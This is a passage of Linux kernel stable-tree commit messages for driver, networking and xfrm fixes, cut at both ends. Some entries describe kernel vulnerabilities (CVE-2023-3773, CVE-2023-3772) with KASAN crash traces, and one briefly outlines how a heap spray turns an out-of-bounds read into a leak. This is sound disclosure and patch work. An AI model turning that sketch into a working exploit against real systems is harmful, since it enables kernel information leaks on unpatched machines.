https://patchwork.freedesktop.org/patch/msgid/20230802145937.14827-1-quic_jhugo@quicinc.com Signed-off-by: Sasha Levin commit a0d348c61d08cef94942db9dd202662fa3ef65e7 Author: Liang Chen Date: Sat Aug 12 10:30:16 2023 +0800 net: veth: Page pool creation error handling for existing pools only [ Upstream commit 8a519a572598b7c0c07b02f69bf5b4e8dd4b2d7d ] The failure handling procedure destroys page pools for all queues, including those that haven't had their page pool created yet. this patch introduces necessary adjustments to prevent potential risks and inconsistency with the error handling behavior. Fixes: 0ebab78cbcbf ("net: veth: add page_pool for page recycling") Acked-by: Jesper Dangaard Brouer Signed-off-by: Liang Chen Link: https://lore.kernel.org/r/20230812023016.10553-1-liangchen.linux@gmail.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 62312e2f6466b5f0a120542a38b410d88a34ed00 Author: Michal Schmidt Date: Thu Aug 10 17:01:14 2023 +0200 octeon_ep: cancel queued works in probe error path [ Upstream commit 758c91078165ae641b698750a72eafe7968b3756 ] If it fails to get the devices's MAC address, octep_probe exits while leaving the delayed work intr_poll_task queued. When the work later runs, it's a use after free. Move the cancelation of intr_poll_task from octep_remove into octep_device_cleanup. This does not change anything in the octep_remove flow, but octep_device_cleanup is called also in the octep_probe error path, where the cancelation is needed. Note that the cancelation of ctrl_mbox_task has to follow intr_poll_task's, because the ctrl_mbox_task may be queued by intr_poll_task. Fixes: 24d4333233b3 ("octeon_ep: poll for control messages") Signed-off-by: Michal Schmidt Link: https://lore.kernel.org/r/20230810150114.107765-5-mschmidt@redhat.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 067a5ec70ee18d56566c2bcdcbf6c86bac5edfdf Author: Michal Schmidt Date: Thu Aug 10 17:01:13 2023 +0200 octeon_ep: cancel ctrl_mbox_task after intr_poll_task [ Upstream commit 607a7a45cdf38c1901e0d81e4e00a2a88786330a ] intr_poll_task may queue ctrl_mbox_task. The function octep_poll_non_ioq_interrupts_cn93_pf does this. When removing the driver and canceling these two works, cancel ctrl_mbox_task last to guarantee it does not run anymore. Fixes: 24d4333233b3 ("octeon_ep: poll for control messages") Signed-off-by: Michal Schmidt Link: https://lore.kernel.org/r/20230810150114.107765-4-mschmidt@redhat.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 1c5cc171ab108a7621875cfdb3c4d62819537cae Author: Michal Schmidt Date: Thu Aug 10 17:01:12 2023 +0200 octeon_ep: cancel tx_timeout_task later in remove sequence [ Upstream commit 28458c80006bb4e993a09fc094094a8578cad292 ] tx_timeout_task is canceled too early when removing the driver. Nothing prevents .ndo_tx_timeout from triggering and queuing the work again. Better cancel it after the netdev is unregistered. It's harmless for octep_tx_timeout_task to run in the window between the unregistration and cancelation, because it checks netif_running. Fixes: 862cd659a6fb ("octeon_ep: Add driver framework and device initialization") Signed-off-by: Michal Schmidt Link: https://lore.kernel.org/r/20230810150114.107765-3-mschmidt@redhat.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 7757c240bf0e29626415934a51fa30d407607a27 Author: Michal Schmidt Date: Thu Aug 10 17:01:11 2023 +0200 octeon_ep: fix timeout value for waiting on mbox response [ Upstream commit 519b227904f0e70d4a1d6cf41daa5392715f2d2f ] The intention was to wait up to 500 ms for the mbox response. The third argument to wait_event_interruptible_timeout() is supposed to be the timeout duration. The driver mistakenly passed absolute time instead. Fixes: 577f0d1b1c5f ("octeon_ep: add separate mailbox command and response queues") Signed-off-by: Michal Schmidt Reviewed-by: Simon Horman Link: https://lore.kernel.org/r/20230810150114.107765-2-mschmidt@redhat.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit e6cf72c0330c7a452dd4348ad063279926fc94ec Author: Radhey Shyam Pandey Date: Mon Aug 7 18:44:51 2023 +0530 net: macb: In ZynqMP resume always configure PS GTR for non-wakeup source [ Upstream commit 6c461e394d11a981c662cc16cebfb05b602e23ba ] On Zynq UltraScale+ MPSoC ubuntu platform when systemctl issues suspend, network manager bring down the interface and goes into suspend. When it wakes up it again enables the interface. This leads to xilinx-psgtr "PLL lock timeout" on interface bringup, as the power management controller power down the entire FPD (including SERDES) if none of the FPD devices are in use and serdes is not initialized on resume. $ sudo rtcwake -m no -s 120 -v $ sudo systemctl suspend $ ifconfig eth1 up xilinx-psgtr fd400000.phy: lane 0 (type 10, protocol 5): PLL lock timeout phy phy-fd400000.phy.0: phy poweron failed --> -110 macb driver is called in this way: 1. macb_close: Stop network interface. In this function, it reset MACB IP and disables PHY and network interface. 2. macb_suspend: It is called in kernel suspend flow. But because network interface has been disabled(netif_running(ndev) is false), it does nothing and returns directly; 3. System goes into suspend state. Some time later, system is waken up by RTC wakeup device; 4. macb_resume: It does nothing because network interface has been disabled; 5. macb_open: It is called to enable network interface again. ethernet interface is initialized in this API but serdes which is power-off by PMUFW during FPD-off suspend is not initialized again and so we hit GT PLL lock issue on open. To resolve this PLL timeout issue always do PS GTR initialization when ethernet device is configured as non-wakeup source. Fixes: f22bd29ba19a ("net: macb: Fix ZynqMP SGMII non-wakeup source resume failure") Fixes: 8b73fa3ae02b ("net: macb: Added ZynqMP-specific initialization") Signed-off-by: Radhey Shyam Pandey Link: https://lore.kernel.org/r/1691414091-2260697-1-git-send-email-radhey.shyam.pandey@amd.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 8890f5b665a0e5230af1a4e818c0528fb28a4403 Author: Vinay Belgaumkar Date: Tue Jul 25 18:00:44 2023 -0700 drm/i915/guc/slpc: Restore efficient freq earlier [ Upstream commit 5598c9bfdb81f40f2f5d769b342d25bff74b07a6 ] This should be done before the soft min/max frequencies are restored. When we disable the "Ignore efficient frequency" flag, GuC does not actually bring the requested freq down to RPn. Specifically, this scenario- - ignore efficient freq set to true - reduce min to RPn (from efficient) - suspend - resume (includes GuC load, restore soft min/max, restore efficient freq) - validate min freq has been resored to RPn This will fail if we didn't first restore(disable, in this case) efficient freq flag before setting the soft min frequency. v2: Bring the min freq down to RPn when we disable efficient freq (Rodrigo) Also made the change to set the min softlimit to RPn at init. Otherwise, we were storing RPe there. Link: https://gitlab.freedesktop.org/drm/intel/-/issues/8736 Fixes: 55f9720dbf23 ("drm/i915/guc/slpc: Provide sysfs for efficient freq") Fixes: 95ccf312a1e4 ("drm/i915/guc/slpc: Allow SLPC to use efficient frequency") Signed-off-by: Vinay Belgaumkar Reviewed-by: Rodrigo Vivi Signed-off-by: John Harrison Link: https://patchwork.freedesktop.org/patch/msgid/20230726010044.3280402-1-vinay.belgaumkar@intel.com (cherry picked from commit 28e671114fb0f28f334fac8d0a6b9c395c7b0498) Signed-off-by: Rodrigo Vivi Signed-off-by: Sasha Levin commit 37e8031e134d855cf5d684c13c0b1dbb149f19e3 Author: Luca Ceresoli Date: Fri Aug 4 17:12:39 2023 +0200 drm/panel: simple: Fix AUO G121EAN01 panel timings according to the docs [ Upstream commit e8470c0a7bcaa82f78ad34282d662dd7bd9630c2 ] Commit 03e909acd95a ("drm/panel: simple: Add support for AUO G121EAN01.4 panel") added support for this panel model, but the timings it implements are very different from what the datasheet describes. I checked both the G121EAN01.0 datasheet from [0] and the G121EAN01.4 one from [1] and they all have the same timings: for example the LVDS clock typical value is 74.4 MHz, not 66.7 MHz as implemented. Replace the timings with the ones from the documentation. These timings have been tested and the clock frequencies verified with an oscilloscope to ensure they are correct. Also use struct display_timing instead of struct drm_display_mode in order to also specify the minimum and maximum values. [0] https://embedded.avnet.com/product/g121ean01-0/ [1] https://embedded.avnet.com/product/g121ean01-4/ Fixes: 03e909acd95a ("drm/panel: simple: Add support for AUO G121EAN01.4 panel") Signed-off-by: Luca Ceresoli Reviewed-by: Neil Armstrong Signed-off-by: Neil Armstrong Link: https://patchwork.freedesktop.org/patch/msgid/20230804151239.835216-1-luca.ceresoli@bootlin.com Signed-off-by: Sasha Levin commit e75311fa503de45b4b25d8b5ba89f1b92914e8e5 Author: Petr Machata Date: Fri Aug 11 17:59:27 2023 +0200 selftests: mirror_gre_changes: Tighten up the TTL test match [ Upstream commit 855067defa36b1f9effad8c219d9a85b655cf500 ] This test verifies whether the encapsulated packets have the correct configured TTL. It does so by sending ICMP packets through the test topology and mirroring them to a gretap netdevice. On a busy host however, more than just the test ICMP packets may end up flowing through the topology, get mirrored, and counted. This leads to potential spurious failures as the test observes much more mirrored packets than the sent test packets, and assumes a bug. Fix this by tightening up the mirror action match. Change it from matchall to a flower classifier matching on ICMP packets specifically. Fixes: 45315673e0c5 ("selftests: forwarding: Test changes in mirror-to-gretap") Signed-off-by: Petr Machata Tested-by: Mirsad Todorovac Reviewed-by: Ido Schimmel Reviewed-by: Simon Horman Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 59f3d9198db78c10798bac3a78b889291b2aa2d5 Author: Russell King (Oracle) Date: Fri Aug 11 11:26:30 2023 +0100 net: phy: fix IRQ-based wake-on-lan over hibernate / power off [ Upstream commit cc941e548bffc01b5816b4edc5cb432a137a58b3 ] Uwe reports: "Most PHYs signal WoL using an interrupt. So disabling interrupts [at shutdown] breaks WoL at least on PHYs covered by the marvell driver." Discussing with Ioana, the problem which was trying to be solved was: "The board in question is a LS1021ATSN which has two AR8031 PHYs that share an interrupt line. In case only one of the PHYs is probed and there are pending interrupts on the PHY#2 an IRQ storm will happen since there is no entity to clear the interrupt from PHY#2's registers. PHY#1's driver will get stuck in .handle_interrupt() indefinitely." Further confirmation that "the two AR8031 PHYs are on the same MDIO bus." With WoL using interrupts to wake the system, in such a case, the system will begin booting with an asserted interrupt. Thus, we need to cope with an interrupt asserted during boot. Solve this instead by disabling interrupts during PHY probe. This will ensure in Ioana's situation that both PHYs of the same type sharing an interrupt line on a common MDIO bus will have their interrupt outputs disabled when the driver probes the device, but before we hook in any interrupt handlers - thus avoiding the interrupt storm. A better fix would be for platform firmware to disable the interrupting devices at source during boot, before control is handed to the kernel. Fixes: e2f016cf7751 ("net: phy: add a shutdown procedure") Link: 20230804071757.383971-1-u.kleine-koenig@pengutronix.de Reported-by: Uwe Kleine-König Signed-off-by: Russell King (Oracle) Reviewed-by: Andrew Lunn Reviewed-by: Florian Fainelli Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 2361c766093bf56e60ffb15ba47ad1f6b449b192 Author: Xiang Yang Date: Thu Aug 10 22:06:39 2023 +0800 net: pcs: Add missing put_device call in miic_create [ Upstream commit 829c6524d6729d05a82575dbcc16f99be5ee843d ] The reference of pdev->dev is taken by of_find_device_by_node, so it should be released when not need anymore. Fixes: 7dc54d3b8d91 ("net: pcs: add Renesas MII converter driver") Signed-off-by: Xiang Yang Reviewed-by: Vladimir Oltean Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 3c8608fb8d87cb981fcf23e8f1a8ca133bfe7e89 Author: Jason Wang Date: Wed Aug 9 23:12:56 2023 -0400 virtio-net: set queues after driver_ok [ Upstream commit 51b813176f098ff61bd2833f627f5319ead098a5 ] Commit 25266128fe16 ("virtio-net: fix race between set queues and probe") tries to fix the race between set queues and probe by calling _virtnet_set_queues() before DRIVER_OK is set. This violates virtio spec. Fixing this by setting queues after virtio_device_ready(). Note that rtnl needs to be held for userspace requests to change the number of queues. So we are serialized in this way. Fixes: 25266128fe16 ("virtio-net: fix race between set queues and probe") Reported-by: Dragos Tatulea Acked-by: Michael S. Tsirkin Signed-off-by: Jason Wang Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit c8ce01aad133b52b0623929e30a999f49a7f2e8b Author: Leon Romanovsky Date: Mon Jul 31 14:38:27 2023 +0300 xfrm: don't skip free of empty state in acquire policy [ Upstream commit f3ec2b5d879ef5bbcb24678914641343cb6399a2 ] In destruction flow, the assignment of NULL to xso->dev caused to skip of xfrm_dev_state_free() call, which was called in xfrm_state_put(to_put) routine. Instead of open-coded variant of xfrm_dev_state_delete() and xfrm_dev_state_free(), let's use them directly. Fixes: f8a70afafc17 ("xfrm: add TX datapath support for IPsec packet offload mode") Signed-off-by: Leon Romanovsky Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit 757eaa5d7625b1cbdcb6b34a25a635a6c6676e72 Author: Leon Romanovsky Date: Mon Jul 31 14:38:26 2023 +0300 xfrm: delete offloaded policy [ Upstream commit 982c3aca8bac8ae38acdc940e4f1ecec3bffc623 ] The policy memory was released but not HW driver data. Add call to xfrm_dev_policy_delete(), so drivers will have a chance to release their resources. Fixes: 919e43fad516 ("xfrm: add an interface to offload policy") Signed-off-by: Leon Romanovsky Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit a9020514f175ef15bb68eea9345782abfd9afea3 Author: Lin Ma Date: Sun Jul 23 15:41:10 2023 +0800 xfrm: add forgotten nla_policy for XFRMA_MTIMER_THRESH [ Upstream commit 5e2424708da7207087934c5c75211e8584d553a0 ] The previous commit 4e484b3e969b ("xfrm: rate limit SA mapping change message to user space") added one additional attribute named XFRMA_MTIMER_THRESH and described its type at compat_policy (net/xfrm/xfrm_compat.c). However, the author forgot to also describe the nla_policy at xfrma_policy (net/xfrm/xfrm_user.c). Hence, this suppose NLA_U32 (4 bytes) value can be faked as empty (0 bytes) by a malicious user, which leads to 4 bytes overflow read and heap information leak when parsing nlattrs. To exploit this, one malicious user can spray the SLUB objects and then leverage this 4 bytes OOB read to leak the heap data into x->mapping_maxage (see xfrm_update_ae_params(...)), and leak it to userspace via copy_to_user_state_extra(...). The above bug is assigned CVE-2023-3773. To fix it, this commit just completes the nla_policy description for XFRMA_MTIMER_THRESH, which enforces the length check and avoids such OOB read. Fixes: 4e484b3e969b ("xfrm: rate limit SA mapping change message to user space") Signed-off-by: Lin Ma Reviewed-by: Simon Horman Reviewed-by: Leon Romanovsky Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit 53df4be4f5221e90dc7aa9ce745a9a21bb7024f4 Author: Lin Ma Date: Fri Jul 21 22:51:03 2023 +0800 xfrm: add NULL check in xfrm_update_ae_params [ Upstream commit 00374d9b6d9f932802b55181be9831aa948e5b7c ] Normally, x->replay_esn and x->preplay_esn should be allocated at xfrm_alloc_replay_state_esn(...) in xfrm_state_construct(...), hence the xfrm_update_ae_params(...) is okay to update them. However, the current implementation of xfrm_new_ae(...) allows a malicious user to directly dereference a NULL pointer and crash the kernel like below. BUG: kernel NULL pointer dereference, address: 0000000000000000 PGD 8253067 P4D 8253067 PUD 8e0e067 PMD 0 Oops: 0002 [#1] PREEMPT SMP KASAN NOPTI CPU: 0 PID: 98 Comm: poc.npd Not tainted 6.4.0-rc7-00072-gdad9774deaf1 #8 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.o4 RIP: 0010:memcpy_orig+0xad/0x140 Code: e8 4c 89 5f e0 48 8d 7f e0 73 d2 83 c2 20 48 29 d6 48 29 d7 83 fa 10 72 34 4c 8b 06 4c 8b 4e 08 c RSP: 0018:ffff888008f57658 EFLAGS: 00000202 RAX: 0000000000000000 RBX: ffff888008bd0000 RCX: ffffffff8238e571 RDX: 0000000000000018 RSI: ffff888007f64844 RDI: 0000000000000000 RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: ffff888008f57818 R13: ffff888007f64aa4 R14: 0000000000000000 R15: 0000000000000000 FS: 00000000014013c0(0000) GS:ffff88806d600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000000054d8000 CR4: 00000000000006f0 Call Trace: ? __die+0x1f/0x70 ? page_fault_oops+0x1e8/0x500 ? __pfx_is_prefetch.constprop.0+0x10/0x10 ? __pfx_page_fault_oops+0x10/0x10 ? _raw_spin_unlock_irqrestore+0x11/0x40 ? fixup_exception+0x36/0x460 ? _raw_spin_unlock_irqrestore+0x11/0x40 ? exc_page_fault+0x5e/0xc0 ? asm_exc_page_fault+0x26/0x30 ? xfrm_update_ae_params+0xd1/0x260 ? memcpy_orig+0xad/0x140 ? __pfx__raw_spin_lock_bh+0x10/0x10 xfrm_update_ae_params+0xe7/0x260 xfrm_new_ae+0x298/0x4e0 ? __pfx_xfrm_new_ae+0x10/0x10 ? __pfx_xfrm_new_ae+0x10/0x10 xfrm_user_rcv_msg+0x25a/0x410 ? __pfx_xfrm_user_rcv_msg+0x10/0x10 ? __alloc_skb+0xcf/0x210 ? stack_trace_save+0x90/0xd0 ? filter_irq_stacks+0x1c/0x70 ? __stack_depot_save+0x39/0x4e0 ? __kasan_slab_free+0x10a/0x190 ? kmem_cache_free+0x9c/0x340 ? netlink_recvmsg+0x23c/0x660 ? sock_recvmsg+0xeb/0xf0 ? __sys_recvfrom+0x13c/0x1f0 ? __x64_sys_recvfrom+0x71/0x90 ? do_syscall_64+0x3f/0x90 ? entry_SYSCALL_64_after_hwframe+0x72/0xdc ? copyout+0x3e/0x50 netlink_rcv_skb+0xd6/0x210 ? __pfx_xfrm_user_rcv_msg+0x10/0x10 ? __pfx_netlink_rcv_skb+0x10/0x10 ? __pfx_sock_has_perm+0x10/0x10 ? mutex_lock+0x8d/0xe0 ? __pfx_mutex_lock+0x10/0x10 xfrm_netlink_rcv+0x44/0x50 netlink_unicast+0x36f/0x4c0 ? __pfx_netlink_unicast+0x10/0x10 ? netlink_recvmsg+0x500/0x660 netlink_sendmsg+0x3b7/0x700 This Null-ptr-deref bug is assigned CVE-2023-3772. And this commit adds additional NULL check in xfrm_update_ae_params to fix the NPD. Fixes: d8647b79c3b7 ("xfrm: Add user interface for esn and big anti-replay windows") Signed-off-by: Lin Ma Reviewed-by: Leon Romanovsky Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit 78e397a43e1c47321a4679cc49a6c4530bf820b9 Author: Zhengchao Shao Date: Mon Jul 10 17:40:53 2023 +0800 ip_vti: fix potential slab-use-after-free in decode_session6 [ Upstream commit 6018a266279b1a75143c7c0804dd08a5fc4c3e0b ] When ip_vti device is set to the qdisc of the sfb type, the cb field of the sent skb may be modified during enqueuing. Then, slab-use-after-free may occur when ip_vti device sends IPv6 packets. As commit f855691975bb ("xfrm6: Fix the nexthdr offset in _decode_session6.") showed, xfrm_decode_session was originally intended only for the receive path. IP6CB(skb)->nhoff is not set during transmission. Therefore, set the cb field in the skb to 0 before sending packets. Fixes: f855691975bb ("xfrm6: Fix the nexthdr offset in _decode_session6.") Signed-off-by: Zhengchao Shao Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit c070688bfbe7759e61e697e421b2a331b0dd74bc Author: Zhengchao Shao Date: Mon Jul 10 17:40:52 2023 +0800 ip6_vti: fix slab-use-after-free in decode_session6 [ Upstream commit 9fd41f1ba638938c9a1195d09bc6fa3be2712f25 ] When ipv6_vti device is set to the qdisc of the sfb type, the cb field of the sent skb may be modified during enqueuing. Then, slab-use-after-free may occur when ipv6_vti device sends IPv6 packets. The stack information is as follows: BUG: KASAN: slab-use-after-free in decode_session6+0x103f/0x1890 Read of size 1 at addr ffff88802e08edc2 by task swapper/0/0 CPU: 0 PID: 0 Comm: swapper/0 Not tainted 6.4.0-next-20230707-00001-g84e2cad7f979 #410 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-1.fc33 04/01/2014 Call Trace: dump_stack_lvl+0xd9/0x150 print_address_description.constprop.0+0x2c/0x3c0 kasan_report+0x11d/0x130 decode_session6+0x103f/0x1890 __xfrm_decode_session+0x54/0xb0 vti6_tnl_xmit+0x3e6/0x1ee0 dev_hard_start_xmit+0x187/0x700 sch_direct_xmit+0x1a3/0xc30 __qdisc_run+0x510/0x17a0 __dev_queue_xmit+0x2215/0x3b10 neigh_connected_output+0x3c2/0x550 ip6_finish_output2+0x55a/0x1550 ip6_finish_output+0x6b9/0x1270 ip6_output+0x1f1/0x540 ndisc_send_skb+0xa63/0x1890 ndisc_send_rs+0x132/0x6f0 addrconf_rs_timer+0x3f1/0x870 call_timer_fn+0x1a0/0x580 expire_timers+0x29b/0x4b0 run_timer_softirq+0x326/0x910 __do_softirq+0x1d4/0x905 irq_exit_rcu+0xb7/0x120 sysvec_apic_timer_interrupt+0x97/0xc0 Allocated by task 9176: kasan_save_stack+0x22/0x40 kasan_set_track+0x25/0x30 __kasan_slab_alloc+0x7f/0x90 kmem_cache_alloc_node+0x1cd/0x410 kmalloc_reserve+0x165/0x270 __alloc_skb+0x129/0x330 netlink_sendmsg+0x9b1/0xe30 sock_sendmsg+0xde/0x190 ____sys_sendmsg+0x739/0x920 ___sys_sendmsg+0x110/0x1b0 __sys_sendmsg+0xf7/0x1c0 do_syscall_64+0x39/0xb0 entry_SYSCALL_64_after_hwframe+0x63/0xcd Freed by task 9176: kasan_save_stack+0x22/0x40 kasan_set_track+0x25/0x30 kasan_save_free_info+0x2b/0x40 ____kasan_slab_free+0x160/0x1c0 slab_free_freelist_hook+0x11b/0x220 kmem_cache_free+0xf0/0x490 skb_free_head+0x17f/0x1b0 skb_release_data+0x59c/0x850 consume_skb+0xd2/0x170 netlink_unicast+0x54f/0x7f0 netlink_sendmsg+0x926/0xe30 sock_sendmsg+0xde/0x190 ____sys_sendmsg+0x739/0x920 ___sys_sendmsg+0x110/0x1b0 __sys_sendmsg+0xf7/0x1c0 do_syscall_64+0x39/0xb0 entry_SYSCALL_64_after_hwframe+0x63/0xcd The buggy address belongs to the object at ffff88802e08ed00 which belongs to the cache skbuff_small_head of size 640 The buggy address is located 194 bytes inside of freed 640-byte region [ffff88802e08ed00, ffff88802e08ef80) As commit f855691975bb ("xfrm6: Fix the nexthdr offset in _decode_session6.") showed, xfrm_decode_session was originally intended only for the receive path. IP6CB(skb)->nhoff is not set during transmission. Therefore, set the cb field in the skb to 0 before sending packets. Fixes: f855691975bb ("xfrm6: Fix the nexthdr offset in _decode_session6.") Signed-off-by: Zhengchao Shao Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit 86f15300a22656db3fa8c8967defbcd24fac4d37 Author: Zhengchao Shao Date: Mon Jul 10 17:40:51 2023 +0800 xfrm: fix slab-use-after-free in decode_session6 [ Upstream commit 53223f2ed1ef5c90dad814daaaefea4e68a933c8 ] When the xfrm device is set to the qdisc of the sfb type, the cb field of the sent skb may be modified during enqueuing. Then, slab-use-after-free may occur when the xfrm device sends IPv6 packets. The stack information is as follows: BUG: KASAN: slab-use-after-free in decode_session6+0x103f/0x1890 Read of size 1 at addr ffff8881111458ef by task swapper/3/0 CPU: 3 PID: 0 Comm: swapper/3 Not tainted 6.4.0-next-20230707 #409 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-1.fc33 04/01/2014 Call Trace: dump_stack_lvl+0xd9/0x150 print_address_description.constprop.0+0x2c/0x3c0 kasan_report+0x11d/0x130 decode_session6+0x103f/0x1890 __xfrm_decode_session+0x54/0xb0 xfrmi_xmit+0x173/0x1ca0 dev_hard_start_xmit+0x187/0x700 sch_direct_xmit+0x1a3/0xc30 __qdisc_run+0x510/0x17a0 __dev_queue_xmit+0x2215/0x3b10 neigh_connected_output+0x3c2/0x550 ip6_finish_output2+0x55a/0x1550 ip6_finish_output+0x6b9/0x1270 ip6_output+0x1f1/0x540 ndisc_send_skb+0xa63/0x1890 ndisc_send_rs+0x132/0x6f0 addrconf_rs_timer+0x3f1/0x870 call_timer_fn+0x1a0/0x580 expire_timers+0x29b/0x4b0 run_timer_softirq+0x326/0x910 __do_softirq+0x1d4/0x905 irq_exit_rcu+0xb7/0x120 sysvec_apic_timer_interrupt+0x97/0xc0 asm_sysvec_apic_timer_interrupt+0x1a/0x20 RIP: 0010:intel_idle_hlt+0x23/0x30 Code: 1f 84 00 00 00 00 00 f3 0f 1e fa 41 54 41 89 d4 0f 1f 44 00 00 66 90 0f 1f 44 00 00 0f 00 2d c4 9f ab 00 0f 1f 44 00 00 fb f4 44 89 e0 41 5c c3 66 0f 1f 44 00 00 f3 0f 1e fa 41 54 41 89 d4 RSP: 0018:ffffc90000197d78 EFLAGS: 00000246 RAX: 00000000000a83c3 RBX: ffffe8ffffd09c50 RCX: ffffffff8a22d8e5 RDX: 0000000000000001 RSI: ffffffff8d3f8080 RDI: ffffe8ffffd09c50 RBP: ffffffff8d3f8080 R08: 0000000000000001 R09: ffffed1026ba6d9d R10: ffff888135d36ceb R11: 0000000000000001 R12: 0000000000000001 R13: ffffffff8d3f8100 R14: 0000000000000001 R15: 0000000000000000 cpuidle_enter_state+0xd3/0x6f0 cpuidle_enter+0x4e/0xa0 do_idle+0x2fe/0x3c0 cpu_startup_entry+0x18/0x20 start_secondary+0x200/0x290 secondary_startup_64_no_verify+0x167/0x16b Allocated by task 939: kasan_save_stack+0x22/0x40 kasan_set_track+0x25/0x30 __kasan_slab_alloc+0x7f/0x90 kmem_cache_alloc_node+0x1cd/0x410 kmalloc_reserve+0x165/0x270 __alloc_skb+0x129/0x330 inet6_ifa_notify+0x118/0x230 __ipv6_ifa_notify+0x177/0xbe0 addrconf_dad_completed+0x133/0xe00 addrconf_dad_work+0x764/0x1390 process_one_work+0xa32/0x16f0 worker_thread+0x67d/0x10c0 kthread+0x344/0x440 ret_from_fork+0x1f/0x30 The buggy address belongs to the object at ffff888111145800 which belongs to the cache skbuff_small_head of size 640 The buggy address is located 239 bytes inside of freed 640-byte region [ffff888111145800, ffff888111145a80) As commit f855691975bb ("xfrm6: Fix the nexthdr offset in _decode_session6.") showed, xfrm_decode_session was originally intended only for the receive path. IP6CB(skb)->nhoff is not set during transmission. Therefore, set the cb field in the skb to 0 before sending packets. Fixes: f855691975bb ("xfrm6: Fix the nexthdr offset in _decode_session6.") Signed-off-by: Zhengchao Shao Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit 21a3a70cf3eacbdc9d2b31249a64a6f097fa1351 Author: Herbert Xu Date: Tue Jul 4 08:53:49 2023 +0800 xfrm: Silence warnings triggerable by bad packets [ Upstream commit 57010b8ece2821a1fdfdba2197d14a022f3769db ] After the elimination of inner modes, a couple of warnings that were previously unreachable can now be triggered by malformed inbound packets. Fix this by: 1. Moving the setting of skb->protocol into the decap functions. 2. Returning -EINVAL when unexpected protocol is seen. Reported-by: Maciej Żenczykowski Fixes: 5f24f41e8ea6 ("xfrm: Remove inner/outer modes from input path") Signed-off-by: Herbert Xu Reviewed-by: Maciej Żenczykowski Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit 6d1e6152778c6381b9a3b78f38e2061a9edb4f72 Author: Lin Ma Date: Fri Jun 30 16:19:11 2023 +0800 net: xfrm: Amend XFRMA_SEC_CTX nla_policy structure [ Upstream commit d1e0e61d617ba17aa516db707aa871387566bbf7 ] According to all consumers code of attrs[XFRMA_SEC_CTX], like * verify_sec_ctx_len(), convert to xfrm_user_sec_ctx* * xfrm_state_construct(), call security_xfrm_state_alloc whose prototype is int security_xfrm_state_alloc(.., struct xfrm_user_sec_ctx *sec_ctx); * copy_from_user_sec_ctx(), convert to xfrm_user_sec_ctx * ... It seems that the expected parsing result for XFRMA_SEC_CTX should be structure xfrm_user_sec_ctx, and the current xfrm_sec_ctx is confusing and misleading (Luckily, they happen to have same size 8 bytes). This commit amend the policy structure to xfrm_user_sec_ctx to avoid ambiguity. Fixes: cf5cb79f6946 ("[XFRM] netlink: Establish an attribute policy") Signed-off-by: Lin Ma Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit 66e1cd1b06c0158044dd7813b91c156ed5c2f80e Author: Lin Ma Date: Tue Jun 27 11:39:54 2023 +0800 net: af_key: fix sadb_x_filter validation [ Upstream commit 75065a8929069bc93181848818e23f147a73f83a ] When running xfrm_state_walk_init(), the xfrm_address_filter being used is okay to have a splen/dplen that equals to sizeof(xfrm_address_t)<<3. This commit replaces >= to > to make sure the boundary checking is correct. Fixes: 37bd22420f85 ("af_key: pfkey_dump needs parameter validation") Signed-off-by: Lin Ma Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit 5713c7ca31f563a493281c25cbdbd3f4ef53a9e9 Author: Lin Ma Date: Tue Jun 27 11:31:38 2023 +0800 net: xfrm: Fix xfrm_address_filter OOB read [ Upstream commit dfa73c17d55b921e1d4e154976de35317e43a93a ] We found below OOB crash: [ 44.211730] ================================================================== [ 44.212045] BUG: KASAN: slab-out-of-bounds in memcmp+0x8b/0xb0 [ 44.212045] Read of size 8 at addr ffff88800870f320 by task poc.xfrm/97 [ 44.212045] [ 44.212045] CPU: 0 PID: 97 Comm: poc.xfrm Not tainted 6.4.0-rc7-00072-gdad9774deaf1-dirty #4 [ 44.212045] Call Trace: [ 44.212045] [ 44.212045] dump_stack_lvl+0x37/0x50 [ 44.212045] print_report+0xcc/0x620 [ 44.212045] ? __virt_addr_valid+0xf3/0x170 [ 44.212045] ? memcmp+0x8b/0xb0 [ 44.212045] kasan_report+0xb2/0xe0 [ 44.212045] ? memcmp+0x8b/0xb0 [ 44.212045] kasan_check_range+0x39/0x1c0 [ 44.212045] memcmp+0x8b/0xb0 [ 44.212045] xfrm_state_walk+0x21c/0x420 [ 44.212045] ? __pfx_dump_one_state+0x10/0x10 [ 44.212045] xfrm_dump_sa+0x1e2/0x290 [ 44.212045] ? __pfx_xfrm_dump_sa+0x10/0x10 [ 44.212045] ? __kernel_text_address+0xd/0x40 [ 44.212045] ? kasan_unpoison+0x27/0x60 [ 44.212045] ? mutex_lock+0x60/0xe0 [ 44.212045] ? __pfx_mutex_lock+0x10/0x10 [ 44.212045] ? kasan_save_stack+0x22/0x50 [ 44.212045] netlink_dump+0x322/0x6c0 [ 44.212045] ? __pfx_netlink_dump+0x10/0x10 [ 44.212045] ? mutex_unlock+0x7f/0xd0 [ 44.212045] ? __pfx_mutex_unlock+0x10/0x10 [ 44.212045] 